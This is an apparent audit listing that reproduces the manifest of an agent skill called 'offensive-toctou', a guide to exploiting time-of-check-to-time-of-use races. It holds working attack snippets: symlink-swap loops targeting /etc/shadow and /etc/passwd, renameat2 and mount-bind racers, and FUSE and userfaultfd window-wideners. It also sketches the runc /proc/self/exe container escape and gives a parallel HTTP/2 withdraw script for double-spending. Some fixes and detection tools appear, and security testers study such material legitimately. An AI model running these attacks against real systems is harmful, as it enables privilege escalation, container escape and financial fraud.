offensive-toctou — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited offensive-toctou (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; donesyscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one sideunshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; doneIn containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
The race is always winnable in theory; in practice you need the window large enough for your swap.
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resumecpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unitA kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.
/proc/<pid>/exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCEopen("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.
Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}Symlink swap between access and open makes the binary read root-readable files for unprivileged users.
Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface/proc/self/exe OverwriteWhen a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.
A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/<n> — the container's first process held a host FD, races on namespace setup let it act on host paths.
When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" headerIf the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-streamTest: revoke access while a download is mid-stream; if data continues, recheck is missing.
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different bodyMany implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".This is the standard primitive for web TOCTOU since 2023; old httpie ... & parallelism is obsolete.
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (UPDATE ... WHERE balance >= amount).
Activity checks calling package via getCallingPackage() then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
audit_token_t should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.
| Tool | Layer | Use |
|---|---|---|
strace -e trace=file -f | Linux syscall | Find duplicate path resolutions |
bpftrace / bcc | Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
syzkaller | Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
racepwn | Web | Multi-thread + timing harness |
Turbo Intruder | Web | Pipelined parallel requests |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.
A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.